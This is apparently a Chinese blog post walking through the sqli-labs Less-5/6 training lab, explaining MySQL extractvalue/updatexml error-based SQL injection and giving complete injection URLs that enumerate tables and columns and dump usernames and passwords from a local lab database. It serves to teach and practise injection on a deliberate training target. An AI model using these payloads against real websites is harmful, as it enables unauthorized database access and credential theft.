热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

【Less5/6】报错注入

目录一、报错注入知识铺垫1、extractvalue函数2、updatexml函数二、报错注入复现1、判断注入点2、报错查询三、总结一、报错注入知识铺垫报错注入:e

目录

        • 一、报错注入知识铺垫
          • 1、extractvalue函数
          • 2、updatexml函数
        • 二、报错注入复现
          • 1、判断注入点
          • 2、报错查询
        • 三、总结




一、报错注入知识铺垫

报错注入:extractvalue、updatexml报错原理

在mysql高版本(大于5.1版本)中添加了对XML文档进行查询和修改的函数:

  • ExtractValue() 使用XPath表示法从XML字符串中提取值
  • UpdateXML() 返回替换的XML片段

当这两个函数在执行时,如果出现xml文档路径错误就会产生报错。

1、extractvalue函数

  • 语法:ExtractValue(xml_frag, xpath_expr)
  • 接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。
  • extractvalue使用时当xpath_expr格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
  • 第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径

例如:SELECT ExtractValue('', '/a/b');就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。

在这里插入图片描述

  • http://localhost/sqli-labs/Less-5?id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e)) -- +
  • 由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。
  • 该语句对输出的字符长度也做了限制,其最长输出32位

在这里插入图片描述

2、updatexml函数

  • 语法:UpdateXML(xml_target, xpath_expr, new_xml)
  • xml_target:: 需要操作的xml片段
  • xpath_expr: 需要更新的xml路径(Xpath格式)
  • new_xml: 更新后的内容
  • updatexml使用时,当xpath_expr格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)

此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。

如果未xpath_expr找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML片段。所有三个参数都应该是字符串。

  • http://localhost/sqli-labs/Less-5?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),3) -- +
  • 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。
  • 同样该语句对输出的字符长度也做了限制,其最长输出32位

在这里插入图片描述

二、报错注入复现


1、判断注入点

http://localhost/sqli-labs/Less-5?id=1

在这里插入图片描述

http://localhost/sqli-labs/Less-5?id=1'

在这里插入图片描述

http://localhost/sqli-labs/Less-5?id=1' and 1=1 -- + // 字符型注入

在这里插入图片描述

http://localhost/sqli-labs/Less-5?id=1' and 1=2 -- +

在这里插入图片描述

http://localhost/sqli-labs/Less-5?id=-1

在这里插入图片描述
综合以上操作可以得出结论:

  • 页面无回显,不会显示我们的查询结果。
  • 查询语句正确时页面会打印You are in...........,错误则不显示。

可以通过布尔盲注来判断我们想要的信息,参考文章:https://www.cnblogs.com/Xy–1/p/12726288.html

这里我们用报错的注入方式。

2、报错查询

查询数据库及相关信息

http://localhost/sqli-labs/Less-5?id=1' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1) -- +

在这里插入图片描述
查询当前数据库的所有表

http://localhost/sqli-labs/Less-5?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- +

在这里插入图片描述
查询users表字段信息

http://localhost/sqli-labs/Less-5?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) -- +

在这里插入图片描述
查询用户和用户密码

http://localhost/sqli-labs/Less-5?id=1' and updatexml(1,concat(0x7e,(select group_concat(concat_ws(" ",username,password)) from security.users),0x7e),1) -- +

在这里插入图片描述
该语句对输出的字符长度也做了限制,其最长输出32位。上图显示的用户信息长度为32位。

第六关和第五关相同,单引号变双引号!

在这里插入图片描述

三、总结

本关sql注入可以实现的三种方式:

布尔盲注:

  • 没有WAF
  • 对请求次数没有限制

报错注入

  • sql版本大于5.1
  • 输出的字符长度也做了限制,其最长输出32位

DNSLog注入

  • secure_file_priv 需要为空
  • 往期回顾:https://blog.csdn.net/weixin_44032232/article/details/109262724

参考文章:

https://developer.aliyun.com/article/692723


推荐阅读
  • 本文详细介绍了如何使用MySQL来显示SQL语句的执行时间,并通过MySQL Query Profiler获取CPU和内存使用量以及系统锁和表锁的时间。同时介绍了效能分析的三种方法:瓶颈分析、工作负载分析和基于比率的分析。 ... [详细]
  • 本文详细介绍了MySQL表分区的创建、增加和删除方法,包括查看分区数据量和全库数据量的方法。欢迎大家阅读并给予点评。 ... [详细]
  • 向QTextEdit拖放文件的方法及实现步骤
    本文介绍了在使用QTextEdit时如何实现拖放文件的功能,包括相关的方法和实现步骤。通过重写dragEnterEvent和dropEvent函数,并结合QMimeData和QUrl等类,可以轻松实现向QTextEdit拖放文件的功能。详细的代码实现和说明可以参考本文提供的示例代码。 ... [详细]
  • 本文介绍了Android 7的学习笔记总结,包括最新的移动架构视频、大厂安卓面试真题和项目实战源码讲义。同时还分享了开源的完整内容,并提醒读者在使用FileProvider适配时要注意不同模块的AndroidManfiest.xml中配置的xml文件名必须不同,否则会出现问题。 ... [详细]
  • Spring源码解密之默认标签的解析方式分析
    本文分析了Spring源码解密中默认标签的解析方式。通过对命名空间的判断,区分默认命名空间和自定义命名空间,并采用不同的解析方式。其中,bean标签的解析最为复杂和重要。 ... [详细]
  • 目录实现效果:实现环境实现方法一:基本思路主要代码JavaScript代码总结方法二主要代码总结方法三基本思路主要代码JavaScriptHTML总结实 ... [详细]
  • CSS3选择器的使用方法详解,提高Web开发效率和精准度
    本文详细介绍了CSS3新增的选择器方法,包括属性选择器的使用。通过CSS3选择器,可以提高Web开发的效率和精准度,使得查找元素更加方便和快捷。同时,本文还对属性选择器的各种用法进行了详细解释,并给出了相应的代码示例。通过学习本文,读者可以更好地掌握CSS3选择器的使用方法,提升自己的Web开发能力。 ... [详细]
  • 本文讨论了一个关于cuowu类的问题,作者在使用cuowu类时遇到了错误提示和使用AdjustmentListener的问题。文章提供了16个解决方案,并给出了两个可能导致错误的原因。 ... [详细]
  • 解决VS写C#项目导入MySQL数据源报错“You have a usable connection already”问题的正确方法
    本文介绍了在VS写C#项目导入MySQL数据源时出现报错“You have a usable connection already”的问题,并给出了正确的解决方法。详细描述了问题的出现情况和报错信息,并提供了解决该问题的步骤和注意事项。 ... [详细]
  • 在重复造轮子的情况下用ProxyServlet反向代理来减少工作量
    像不少公司内部不同团队都会自己研发自己工具产品,当各个产品逐渐成熟,到达了一定的发展瓶颈,同时每个产品都有着自己的入口,用户 ... [详细]
  • 本文介绍了一个在线急等问题解决方法,即如何统计数据库中某个字段下的所有数据,并将结果显示在文本框里。作者提到了自己是一个菜鸟,希望能够得到帮助。作者使用的是ACCESS数据库,并且给出了一个例子,希望得到的结果是560。作者还提到自己已经尝试了使用"select sum(字段2) from 表名"的语句,得到的结果是650,但不知道如何得到560。希望能够得到解决方案。 ... [详细]
  • Go GUIlxn/walk 学习3.菜单栏和工具栏的具体实现
    本文介绍了使用Go语言的GUI库lxn/walk实现菜单栏和工具栏的具体方法,包括消息窗口的产生、文件放置动作响应和提示框的应用。部分代码来自上一篇博客和lxn/walk官方示例。文章提供了学习GUI开发的实际案例和代码示例。 ... [详细]
  • MySQL语句大全:创建、授权、查询、修改等【MySQL】的使用方法详解
    本文详细介绍了MySQL语句的使用方法,包括创建用户、授权、查询、修改等操作。通过连接MySQL数据库,可以使用命令创建用户,并指定该用户在哪个主机上可以登录。同时,还可以设置用户的登录密码。通过本文,您可以全面了解MySQL语句的使用方法。 ... [详细]
  • 如何在php文件中添加图片?
    本文详细解答了如何在php文件中添加图片的问题,包括插入图片的代码、使用PHPword在载入模板中插入图片的方法,以及使用gd库生成不同类型的图像文件的示例。同时还介绍了如何生成一个正方形文件的步骤。希望对大家有所帮助。 ... [详细]
  • Postgresql备份和恢复的方法及命令行操作步骤
    本文介绍了使用Postgresql进行备份和恢复的方法及命令行操作步骤。通过使用pg_dump命令进行备份,pg_restore命令进行恢复,并设置-h localhost选项,可以完成数据的备份和恢复操作。此外,本文还提供了参考链接以获取更多详细信息。 ... [详细]
author-avatar
zhiting999977
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有